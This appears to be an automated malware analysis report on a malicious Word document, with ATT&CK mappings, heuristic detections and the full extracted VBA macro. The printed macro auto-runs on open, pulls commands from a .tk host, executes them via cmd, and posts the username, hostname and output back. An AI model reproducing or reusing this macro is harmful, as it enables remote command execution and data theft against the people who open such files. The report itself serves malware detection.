MALICIOUS
350
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1059.003 Windows Command Shell
T1204.002 Malicious File
T1566.001 Spearphishing Attachment
The sample contains VBA macros that execute a Document_Open subroutine. This subroutine calls a function that uses WScript.Shell to run 'cmd /c' with a command that downloads a file from 'http://wqopsakl.tk/images/error_image_e5bf.png'. The use of Shell() and WScript.Shell, along with cmd.exe references, indicates a high likelihood of payload execution. The embedded URL is the primary indicator of a malicious download attempt.
Heuristics 10
-
VBA macros detected medium 6 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
Shell() call in VBA critical OLE_VBA_SHELLShell() call in VBAMatched line in script
Function getName() Set wshShell = CreateObject("WScript.Shell") getName = wshShell.ExpandEnvironmentStrings("%USERNAME%") -
WScript.Shell usage critical OLE_VBA_WSCRIPTWScript.Shell usageMatched line in script
Function getName() Set wshShell = CreateObject("WScript.Shell") getName = wshShell.ExpandEnvironmentStrings("%USERNAME%") -
CreateObject call high OLE_VBA_CREATEOBJCreateObject callMatched line in script
Function getName() Set wshShell = CreateObject("WScript.Shell") getName = wshShell.ExpandEnvironmentStrings("%USERNAME%") -
cmd.exe reference in VBA high OLE_VBA_CMDcmd.exe reference in VBAMatched line in script
objTempFile = objName objShell.Run "cmd /c " + form_input + " > " + objTempFile, 0, True If objFSO.FileExists(objTempFile) Then -
VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXECCompiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
-
Document_Open macro low OLE_VBA_DOCOPENDocument_Open macroMatched line in script
Dim AnyFailure As Boolean Sub Document_Open() On Error GoTo top_error -
Reference to Windows Script Host high SC_STR_WSCRIPTReference to Windows Script Host
-
LOLBin token sequence in document text high SE_LOLBIN_RUN_COMMANDExtracted document text contains a Windows script/execution tool name (PowerShell, mshta, cmd, rundll32, regsvr32, …) within 220 characters of a dangerous flag, command verb, or URL. This is a visible 'run this' instruction in HTML/PDF/RTF lure bodies, or — in macro-laden Office files — the macro's own string-pool entries appearing adjacent in extracted text.
-
Embedded URL info EMBEDDED_URLOne or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.URL http://wqopsakl.tk/images/error_image_e5bf.png In document text (OLE body)
- http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/bibliographyIn document text (OLE body)
- http://schemas.openxmlformats.org/officeDocument/2006/customXmlIn document text (OLE body)
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 6384 bytes |
SHA-256: 0ab3aaee1425cd99d1a5e99b7b4ee652af4d4a233af46fcdbb2180fc84633853 |
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Dim AnyFailure As Boolean
Sub Document_Open()
On Error GoTo top_error
AnyFailure = False
If (IsW() = True) Then
Call getImage
End If
top_error:
End Sub
Function IsW() As Boolean
#If Win64 Then
IsW = True
#ElseIf Win32 Then
IsW = True
#Else
IsW = False
#End If
End Function
Function getName()
Set wshShell = CreateObject("WScript.Shell")
getName = wshShell.ExpandEnvironmentStrings("%USERNAME%")
End Function
Function getFormData(form_input)
form_input = Replace(form_input, vbCr, "")
form_input = Replace(form_input, vbLf, "")
Set objShell = CreateObject("WScript.Shell")
Set objFSO = CreateObject("Scripting.FileSystemObject")
tfolder = objFSO.GetSpecialFolder(TemporaryFolder)
objName = objFSO.GetTempName
objTempFile = objName
objShell.Run "cmd /c " + form_input + " > " + objTempFile, 0, True
If objFSO.FileExists(objTempFile) Then
strText = vbCrLf + form_input + vbCrLf + "OUTPUT: " + vbCrLf
Dim objStream
Dim strData As String
Set objStream = CreateObject("ADODB.Stream")
objStream.Charset = "utf-8"
objStream.Open
objStream.LoadFromFile (objTempFile)
strData = objStream.ReadText()
strData = cleanLine(strData)
strText = strText + strData + vbCrLf
getFormData = strText
objStream.Close
objFSO.DeleteFile (objTempFile)
Else
getFormData = "Unable to read data"
AnyFailure = True
End If
End Function
Function cleanStr(dStr As String)
Dim iSpCnt As Integer
Dim AsciiVal As Integer
iSpCnt = 0
tempWord = ""
For iSpCnt = 0 To Len(dStr) - 1
AsciiVal = Asc(Mid$(dStr, iSpCnt + 1, 1))
If (AsciiVal > 32 And AsciiVal < 127) Then
tempWord = tempWord + Mid$(dStr, iSpCnt + 1, 1)
End If
Next iSpCnt
cleanStr = tempWord
End Function
Function cleanLine(dStr As String)
Dim iSpCnt As Integer
Dim AsciiVal As Integer
iSpCnt = 0
tempWord = ""
Dim dStrBytes() As Byte
dStrBytes = dStr
For iSpCnt = 0 To LenB(dStr) - 1
CheckVal = dStrBytes(iSpCnt)
If (CheckVal > 31 And CheckVal < 127) Then
tempWord = tempWord + Chr(CheckVal)
ElseIf (CheckVal = 13) Then
tempWord = tempWord + vbCr
ElseIf (CheckVal = 10) Then
tempWord = tempWord + vbLf
End If
Next iSpCnt
cleanLine = tempWord
End Function
Function mdecode(strData As String) As Variant
Dim objXML As MSXML2.DomDocument60
Dim objNode As MSXML2.IXMLDOMElement
Set objXML = New MSXML2.DomDocument60
Set objNode = objXML.createElement("b64")
objNode.DataType = "bin.base64"
objNode.Text = strData
mdecode = objNode.nodeTypedValue
Set objNode = Nothing
Set objXML = Nothing
End Function
Function mencode(strData() As Byte) As String
Dim objXML As MSXML2.DomDocument60
Dim objNode As MSXML2.IXMLDOMElement
Set objXML = New MSXML2.DomDocument60
Set objNode = objXML.createElement("Base64Data")
objNode.DataType = "bin.base64"
objNode.nodeTypedValue = strData
mencode = objNode.Text
Set objNode = Nothing
Set objXML = Nothing
End Function
Function getHN()
Set wshNetwork = CreateObject("WScript.Network")
getHN = wshNetwork.ComputerName
End Function
Sub getImage()
Dim bArray() As Byte
Dim carray() As String
Dim cstring As String
Dim clist As String
Dim clc As String
Dim co As String
Dim WinHttpReq As Object
Dim bstr As String
Dim mg As String
Dim tempStr1 As String
On Error GoTo error
tempStr1 = "wqopsakl"
bstr = ""
mg = "http://" & tempStr1 & ".tk/forms/forms_0228.php"
Set WinHttpReq = CreateObject("WinHttp.WinHttpRequest.5.1")
WinHttpReq.Option(4) = 13056
WinHttpReq.SetTimeouts 10000, 10000, 10000, 10000
WinHttpReq.Open "GET", mg, False
WinHttpReq.send
bstr = WinHttpReq.responseText
cstring = cleanStr(bstr)
If (cstring <> "") Then
bArray = mdecode(cstring)
clist = StrConv(bArray, vbUnicode)
carray = Split(clist, ",")
co = "USERNAME: " + getName + vbCrLf + "HOSTNAME: " + getHN + vbCrLf
For Each c In carray
Dim tempOut
tempOut = getFormData(c)
co = co + "COMMAND: " + vbCrLf + tempOut
Next
Dim ce As String
Dim cob() As Byte
cob = co
ce = mencode(cob)
mp = mg
Dim WinHttpPost As Object
Set WinHttpPost = CreateObject("WinHttp.WinHttpRequest.5.1")
WinHttpPost.Option(4) = 13056
WinHttpPost.SetTimeouts 10000, 10000, 10000, 10000
WinHttpPost.Open "POST", mp, False
WinHttpPost.send (ce)
End If
If AnyFailure = False Then
Call getImageFinal
End If
error:
End Sub
Sub replaceImage()
Dim tempStr1 As String
tempStr1 = "wqopsakl"
Dim img As InlineShape
Dim simg As Shape
Dim newimg As InlineShape
For Each simg In ActiveDocument.Shapes
If simg.AlternativeText = "warning_image" Then
simg.Select
simg.Delete
End If
Next
For Each img In ActiveDocument.InlineShapes
If img.AlternativeText = "warning_image" Then
img.Select
img.Delete
End If
If img.AlternativeText = "error_image" Then
img.Select
img.Delete
Set newimg = Selection.InlineShapes.AddPicture(FileName:="http://" & tempStr1 & ".tk/images/image1_2ce8.jpeg", LinkToFile:=True, SaveWithDocument:=False)
newimg.Height = 490
newimg.Width = 306
End If
Next
End Sub
Sub getImageLast()
ActiveWindow.View.ReadingLayout = False
Call replaceImage
End Sub
Sub getImageFinal()
Application.OnTime When:=Now + TimeValue("00:00:01"), Name:="getImageLast"
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.